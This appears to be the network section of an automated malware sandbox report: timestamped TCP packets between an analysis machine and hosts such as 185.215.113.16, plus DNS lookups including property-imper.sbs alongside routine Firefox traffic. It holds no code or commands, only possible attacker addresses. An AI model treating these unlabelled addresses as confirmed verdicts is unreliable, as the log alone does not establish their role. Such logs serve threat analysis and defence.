Nov 23, 2024 21:15:44.555358887 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.555366993 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.555422068 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.556684017 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.556745052 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.556773901 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.557998896 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.558227062 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.558538914 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.559446096 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.559504986 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.560060978 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.560878038 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.560964108 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.562123060 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.562484026 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.568340063 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.576477051 CET	80	49778	185.215.113.206	192.168.2.8
Nov 23, 2024 21:15:44.578500032 CET	49778	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:44.583332062 CET	49778	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:44.584564924 CET	443	49780	34.117.188.166	192.168.2.8
Nov 23, 2024 21:15:44.584579945 CET	443	49780	34.117.188.166	192.168.2.8
Nov 23, 2024 21:15:44.584640026 CET	49780	443	192.168.2.8	34.117.188.166
Nov 23, 2024 21:15:44.681927919 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.682096004 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.682727098 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.682897091 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.683871031 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.684254885 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.684410095 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.684446096 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.685497999 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.685935974 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.686733007 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.686852932 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.687300920 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.687455893 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.688052893 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.688182116 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.688194036 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.689342022 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.689393044 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.689424038 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.690664053 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.690779924 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.690809011 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.691899061 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.691977978 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.692009926 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.693150997 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.693523884 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.694489956 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.694631100 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.695703983 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.695782900 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.695873022 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.695933104 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.696984053 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.697051048 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.697453022 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.698275089 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.698338032 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.698498011 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.699616909 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.699673891 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.699738026 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.700843096 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.700946093 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.701118946 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.702112913 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.702238083 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.702508926 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.703368902 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.703455925 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.703480005 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.704627991 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.704705954 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.705002069 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.705964088 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.706130981 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.707176924 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.707318068 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.708514929 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.708653927 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.709745884 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.709847927 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.710521936 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.710947037 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.711031914 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.711093903 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.711168051 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.712300062 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.712366104 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.712788105 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.713584900 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.713985920 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.714418888 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.714839935 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.715035915 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.715068102 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.716119051 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.716284990 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.717207909 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.717394114 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.717480898 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.717560053 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.718674898 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.718888998 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.719963074 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.720227003 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.720561981 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.721291065 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.721345901 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.721606016 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.722513914 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.722587109 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.722815990 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.723706961 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.723829031 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.723917007 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.724277020 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.725080967 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.725342035 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.725752115 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.726358891 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.726453066 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.726556063 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.727613926 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.727664948 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.727911949 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.728897095 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.729036093 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.730053902 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.730200052 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.730390072 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.731326103 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.731501102 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.731658936 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.731962919 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.732743979 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.732820034 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.733083963 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.733982086 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.734060049 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.734069109 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.735299110 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.735403061 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.735764027 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.736572027 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.736650944 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.737308025 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.737938881 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.737946033 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.737991095 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.738354921 CET	80	49778	185.215.113.206	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 21:15:16.453142881 CET	192.168.2.8	1.1.1.1	0xd988	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:40.438635111 CET	192.168.2.8	1.1.1.1	0x3481	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:40.843369007 CET	192.168.2.8	1.1.1.1	0xe866	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:15:41.913055897 CET	192.168.2.8	1.1.1.1	0x9db2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:41.913531065 CET	192.168.2.8	1.1.1.1	0x57a3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.051326036 CET	192.168.2.8	1.1.1.1	0xa76d	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.053580999 CET	192.168.2.8	1.1.1.1	0xf0f4	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.200412035 CET	192.168.2.8	1.1.1.1	0x2377	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 21:15:42.200803995 CET	192.168.2.8	1.1.1.1	0xccf4	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:15:42.556006908 CET	192.168.2.8	1.1.1.1	0x8635	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.605403900 CET	192.168.2.8	1.1.1.1	0x144f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.746850014 CET	192.168.2.8	1.1.1.1	0xe581	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:15:43.015434980 CET	192.168.2.8	1.1.1.1	0x4639	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.049966097 CET	192.168.2.8	1.1.1.1	0xb2c4	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.439682961 CET	192.168.2.8	1.1.1.1	0x8c58	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.456832886 CET	192.168.2.8	1.1.1.1	0x1f72	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.457365036 CET	192.168.2.8	1.1.1.1	0xf694	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 21:15:43.583476067 CET	192.168.2.8	1.1.1.1	0x46f8	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:15:43.601861954 CET	192.168.2.8	1.1.1.1	0x16ce	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.744012117 CET	192.168.2.8	1.1.1.1	0x6911	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:15:43.997193098 CET	192.168.2.8	1.1.1.1	0xc856	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.997854948 CET	192.168.2.8	1.1.1.1	0xaf87	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:46.347726107 CET	192.168.2.8	1.1.1.1	0x6ed7	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:46.956928015 CET	192.168.2.8	1.1.1.1	0xc9a0	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:01.468095064 CET	192.168.2.8	1.1.1.1	0x95cb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:01.468239069 CET	192.168.2.8	1.1.1.1	0xa276	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 21:16:23.773747921 CET	192.168.2.8	1.1.1.1	0x2bce	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:23.775506020 CET	192.168.2.8	1.1.1.1	0x3635	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 21:16:23.817810059 CET	192.168.2.8	1.1.1.1	0x2a92	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:16:23.833632946 CET	192.168.2.8	1.1.1.1	0x120e	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 21:16:23.943753958 CET	192.168.2.8	1.1.1.1	0x13e6	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:16:23.984844923 CET	192.168.2.8	1.1.1.1	0x5c5	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:24.139095068 CET	192.168.2.8	1.1.1.1	0x846b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:16:25.424232960 CET	192.168.2.8	1.1.1.1	0x1555	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:53.077445030 CET	192.168.2.8	1.1.1.1	0xe87c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:17:24.424293041 CET	192.168.2.8	1.1.1.1	0x1475	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:17:39.808039904 CET	192.168.2.8	1.1.1.1	0x5b2f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:18:24.468940973 CET	192.168.2.8	1.1.1.1	0x65bf	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:19:08.859399080 CET	192.168.2.8	1.1.1.1	0x5bfd	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:19:27.411910057 CET	192.168.2.8	1.1.1.1	0x3c80	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:19:27.682312012 CET	192.168.2.8	1.1.1.1	0x3c80	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:15.544461012 CET	192.168.2.8	1.1.1.1	0x72be	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:24.779400110 CET	192.168.2.8	1.1.1.1	0xa9b6	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:24.780637026 CET	192.168.2.8	1.1.1.1	0xde54	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:24.927975893 CET	192.168.2.8	1.1.1.1	0x4f73	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 21:21:24.928095102 CET	192.168.2.8	1.1.1.1	0x1e85	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:25.168715000 CET	192.168.2.8	1.1.1.1	0x84d2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 21:21:26.249093056 CET	192.168.2.8	1.1.1.1	0xbf7c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:45.492844105 CET	192.168.2.8	1.1.1.1	0x9801	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 21:15:16.605912924 CET	1.1.1.1	192.168.2.8	0xd988	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:16.605912924 CET	1.1.1.1	192.168.2.8	0xd988	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:40.433104038 CET	1.1.1.1	192.168.2.8	0xbf94	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:40.779627085 CET	1.1.1.1	192.168.2.8	0x3481	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.050168037 CET	1.1.1.1	192.168.2.8	0x9db2	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.051527977 CET	1.1.1.1	192.168.2.8	0x57a3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:15:42.051527977 CET	1.1.1.1	192.168.2.8	0x57a3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.195041895 CET	1.1.1.1	192.168.2.8	0xa76d	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.197669983 CET	1.1.1.1	192.168.2.8	0xf0f4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.358243942 CET	1.1.1.1	192.168.2.8	0x2377	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 21:15:42.359014034 CET	1.1.1.1	192.168.2.8	0xccf4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 21:15:42.603327990 CET	1.1.1.1	192.168.2.8	0x58dd	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:15:42.603327990 CET	1.1.1.1	192.168.2.8	0x58dd	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.725013018 CET	1.1.1.1	192.168.2.8	0x8635	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:42.746160030 CET	1.1.1.1	192.168.2.8	0x144f	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.156987906 CET	1.1.1.1	192.168.2.8	0x4639	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.188684940 CET	1.1.1.1	192.168.2.8	0xb2c4	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:15:43.188684940 CET	1.1.1.1	192.168.2.8	0xb2c4	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.581146002 CET	1.1.1.1	192.168.2.8	0x8c58	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.600621939 CET	1.1.1.1	192.168.2.8	0x1f72	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:15:43.600621939 CET	1.1.1.1	192.168.2.8	0x1f72	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:15:43.600621939 CET	1.1.1.1	192.168.2.8	0x1f72	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.742779970 CET	1.1.1.1	192.168.2.8	0x16ce	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:43.887412071 CET	1.1.1.1	192.168.2.8	0x6911	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 21:15:44.135370016 CET	1.1.1.1	192.168.2.8	0xc856	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:44.135863066 CET	1.1.1.1	192.168.2.8	0xaf87	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:44.135863066 CET	1.1.1.1	192.168.2.8	0xaf87	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:46.515999079 CET	1.1.1.1	192.168.2.8	0x6ed7	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:15:46.515999079 CET	1.1.1.1	192.168.2.8	0x6ed7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:15:47.171705961 CET	1.1.1.1	192.168.2.8	0xc9a0	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:16:01.614928007 CET	1.1.1.1	192.168.2.8	0x95cb	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:01.614949942 CET	1.1.1.1	192.168.2.8	0xa276	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 21:16:23.784943104 CET	1.1.1.1	192.168.2.8	0xa18	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:23.916955948 CET	1.1.1.1	192.168.2.8	0x3635	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 21:16:24.124237061 CET	1.1.1.1	192.168.2.8	0x5c5	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:24.154865980 CET	1.1.1.1	192.168.2.8	0x2bce	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:16:24.154865980 CET	1.1.1.1	192.168.2.8	0x2bce	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:24.278711081 CET	1.1.1.1	192.168.2.8	0x2a02	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:16:24.278711081 CET	1.1.1.1	192.168.2.8	0x2a02	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:16:25.564897060 CET	1.1.1.1	192.168.2.8	0x1555	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:16:25.564897060 CET	1.1.1.1	192.168.2.8	0x1555	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
